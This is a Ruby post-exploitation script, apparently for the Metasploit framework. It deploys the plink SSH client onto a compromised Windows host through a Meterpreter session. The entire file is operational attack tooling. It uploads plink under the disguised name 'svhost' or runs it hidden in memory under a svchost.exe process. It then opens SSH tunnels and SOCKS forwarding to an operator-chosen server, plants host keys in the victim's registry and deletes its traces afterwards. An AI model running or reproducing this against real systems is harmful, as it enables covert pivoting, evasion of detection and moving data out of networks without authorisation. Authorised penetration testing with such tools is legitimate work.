# win32-sshclient.rb
#
# $Id$
# $Revision$
#
# Meterpreter script to deploy & run the "plink" commandline ssh-client
# supports only MS-Windows-2k/XP/Vista Hosts
#
# Version 1.0
# written by illegalguy
#
require 'net/http'
require 'uri'
meter_type = client.platform

#
# Options
#

@@exec_opts = Rex::Parser::Arguments.new(
	"-h"  => [ false, "This help menu"],
	"-f"  => [ true,  "Do not download plink.exe but use given file."],
	"-U"  => [ true,  "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"],
	"-H"  => [ true,  "The IP/hostname of the SSH-server to connect to !REQUIRED!"],
	"-p"  => [ true,  "The port of the remote SSH-server (Default:22)"],
	"-u"  => [ true,  "The username to use to login to the SSH-server !REQUIRED!"],
	"-P"  => [ true,  "login with specified password"],
	"-b"  => [ false, "disable all interactive prompts"],
	"-R"  => [ true,  "Forward remote port to local address ([listen-IP:]listen-port:host:port)"],
	"-L"  => [ true,  "Forward local port to remote address ([listen-IP:]listen-port:host:port)"],
	"-D"  => [ true,  "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"],
	"-C"  => [ false, "enable compression"],
	"-X"  => [ false, "enable X11 forwarding"],
	"-x"  => [ false, "disable X11 forwarding"],
	"-A"  => [ false, "enable agent forwarding"],
	"-a"  => [ false, "disable agent forwarding"],
	"-1"  => [ false, "use SSH-protocol-version 1"],
	"-2"  => [ false, "use SSH-protocol-version 2"],
	"-4"  => [ false, "use IPv4"],
	"-6"  => [ false, "use IPv6"],
	"-i"  => [ true,  "private key-file for authentication"],
	"-m"  => [ true,  "read remote command from file"],
	"-s"  => [ false, "remote command is an ssh-subsystem(SSH2 only)"],
	"-N"  => [ false, "Don`t start a shell/command (SSH2 only)"],
	"-n"  => [ true,  "open tunnel in place of session (SSH-2 only) (host:port)"],
	"-r"  => [ true,  "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"],
	"-F"  => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"],
	"-E"  => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"],
	"-v"  => [ false, "Give additional (debugging-)output"]
)

def usage
	print_line("plink ssh-client deploy+run script")
	print_line("This script will upload and run a plink ssh-cient")
	print_line(@@exec_opts.usage)
	raise Rex::Script::Completed
end

# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
	print_error("#{meter} version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end
#
# Default parameters
#

plink = File.join(Msf::Config.data_directory, "plink.exe")

#plinkurl = 'http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe'
#plinkurl = 'http://the.earth.li/~sgtatham/putty/0.60/x86/plink.exe'
plinkurl = 'http://updates.metasploit.com/data/win32-ssh/plink.exe'
license = <<-EOS
PuTTY is copyright 1997-2010 Simon Tatham.
Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watson, and CORE SDI S.A.

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON TATHAM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'
EOS


#
# Define required functions
#

def upload(client,file,trgloc = nil)
	if not ::File.exists?(file)
		raise "File to Upload does not exists!"
	else
		if trgloc == nil
			location = client.fs.file.expand_path("%TEMP%")
		else
			location = trgloc
		end
		begin
			if file =~ /S*(.exe)/i
				fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
			else
				fileontrgt = "#{location}\\TMP#{rand(100)}"
			end
			print_status("Uploading #{file}....")
			client.fs.file.upload_file(fileontrgt, file)
			print_status("#{file} successfully uploaded to #{fileontrgt}!")
		rescue ::Exception => e
			print_status("Error uploading file #{file}: #{e.class} #{e}")
		end
	end
	return fileontrgt
end


#
# Option parsing
#
username = nil
password = nil
rhost = nil
rport = 22
manual = nil
hostkey = nil
batchmode = nil
remotefwd = nil
localfwd = nil
socksfwd = nil
enablecompression = nil
enablex11fwd = nil
disablex11fwd = nil
enableagentfwd = nil
disableagentfwd = nil
sshv1 = nil
sshv2 = nil
ipv4 = nil
ipv6 = nil
keyfile = nil
cmdfile = nil
sshsubsys = nil
noshell = nil
nctunnel = nil
processname = "C:\\windows\\system32\\svchost.exe"
verbose = nil
filemode = nil
downloaded = nil

@@exec_opts.parse(args) { |opt, idx, val|
	case opt
	when "-h"
		usage
	when "-H"
		if !val
			print_error("-H requires an argument !")
			usage
		end
		rhost = val
		
	when "-f"
		if !val
			print_error("-f requires an argument !")
			usage
		end
		plink = val
		if not ::File.exists?(plink)
			print_error("Plink.exe not found/accessible!")
			usage
		end
		manual = true
		
	when "-r"
		if !val
			print_error("-r requires an argument !")
			usage
		end
		hostkey = val
	
	when "-p"
		rport = val.to_i

	when "-U"
		if !val
			print_error("-u requires an argument !")
			usage
		end
		plinkurl = val

	when "-u"
		if !val
			print_error("-u requires an argument !")
			usage
		end
		username = val

	when "-P"
		if !val
			print_error("-P requires an argument !")
			usage
		end
		password = val

	when "-b"
		batchmode = true

	when "-R"
		if !val
			print_error("-R requires an argument !")
			usage
		end
		remotefwd = val

	when "-L"
		if !val
			print_error("-L requires an argument !")
			usage
		end
		localfwd = val

	when "-D"
		if !val
			print_error("-D requires an argument !")
			usage
		end
		socksfwd = val

	when "-C"
		enablecompression = true

	when "-X"
		enablex11fwd = true

	when "-x"
		disablex11fwd = true

	when "-A"
		enableagentfwd = true

	when "-a"
		disableagentfwd = true

	when "-1"
		sshv1 = true

	when "-2"
		sshv2 = true

	when "-4"
		ipv4 = true

	when "-6"
		ipv6 = true

	when "-i"
		if !val
			print_error("-i requires an argument !")
			usage
		end
		keyfile = val
		if not ::File.exists?(keyfile)
			print_error("keyfile not found or not accessible!")
			usage
		end

	when "-m"
		if !val
			print_error("-m requires an argument !")
			usage
		end
		cmdfile = val
		if not ::File.exists?(cmdfile)
			print_error("cmd-file not found/accessible!")
			usage
		end

	when "-s"
		sshsubsys = true

	when "-N"
		noshell = true

	when "-n"
		if !val
			print_error("-n requires an argument !")
			usage
		end
		nctunnel = val

	when "-E"
		if !val
			print_error("-E requires an argument !")
			usage
		end
		processname = val

	when "-v"
		verbose = true

	when "-F"
		filemode = true

	else
		print_error("Unknown option: #{opt}")
		usage
	end
}

# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i


if not rhost or not username
	print_status("You must specify a hostname (-H) and username (-u)")
	raise Rex::Script::Completed
end

#
# Check if plink-file exists, and if not : download from putty-site first
# Ask user before downloading
#
if not manual
	if not ::File.exists?(plink)
		print_status("plink.exe could not be found. Downloading it now...")
		print_status(license)
		plinkexe = Net::HTTP.get URI.parse(plinkurl)
		File.open(plink, "wb") { |fd| fd.write(plinkexe) }
		print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.")
		downloaded = true	
	end
end

#
# Uploading files to target
#
cmdfileontrgt = upload(client, cmdfile) if cmdfile
keyfileontrgt = upload(client, keyfile) if keyfile

trg_filename = nil
if filemode
	print_status("-------Uploading plink -------")
	trg_filename = upload(client, plink)
else
	trg_filename = plink
end

#
# Build parameter-string
#
params = "-ssh "
params << "-P #{rport} "          if not rport == 22
params << "-l #{username} "
params << "-pw #{password} "      if password
params << "-batch "               if batchmode
params << "-R #{remotefwd} "      if remotefwd
params << "-L #{localfwd} "       if localfwd
params << "-D #{socksfwd} "       if socksfwd
params << "-C "                   if enablecompression
params << "-X "                   if enablex11fwd
params << "-x "                   if disablex11fwd
params << "-A "                   if enableagentfwd
params << "-a "                   if disableagentfwd
params << "-1 "                   if sshv1
params << "-2 "                   if sshv2
params << "-4 "                   if ipv4
params << "-6 "                   if ipv6
params << "-m #{cmdfileontrgt} "  if cmdfileontrgt
params << "-i #{keyfileontrgt} "  if keyfileontrgt
params << "-s "                   if sshsubsys
params << "-N "                   if noshell
params << "-nc #{nctunnel} "      if nctunnel

params << rhost


#
# Set Registry-Value before running the client, if the param was specified
#
hostkeyname = nil
if not hostkey == nil
	hostkeyname = "rsa2@#{rport}:#{rhost}"
	print_status("Writing the Hostkey to the registry...")
	client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}")
end

#
# Give additional output when -v is set
#
if verbose
	print_status("You set the following parameters for plink :")
	print_status(params)
	print_status(processname)
end

#
# Execute the client
#

print_status("-------Executing Client ------")

p = nil
if not filemode
	p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname})
else
	p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true})
end

if noshell == nil
	client.console.run_single("interact #{p.channel.cid}")
end

if filemode
	if not noshell == true
		if verbose
			print_status("Waiting 3 seconds to be sure the process was closed.")
		end
		sleep(3)
		if verbose
			print_status("Deleting the uploaded plink.exe...")
		end
		client.fs.file.rm(trg_filename)
	else
		print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!")
	end
end

if not keyfile == nil
	if verbose
		print_status("Waiting 1 second to be sure the keyfile is not in use anymore.")
	end
	sleep(1)
	if verbose
		print_status("Deleting the keyfile !")
	end
	if verbose
		print_status(keyfile)
	end
	client.fs.file.rm(keyfile)
end

if not cmdfile == nil
	print_status("You need to manually delete the uploaded #{cmdfile} !")
end

#
# Delete the registry-key that may have been created
#
if not hostkey == nil
	if verbose
		print_status("Deleting the registry-key set by the script.")
	end
	client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}")
end

raise Rex::Script::Completed
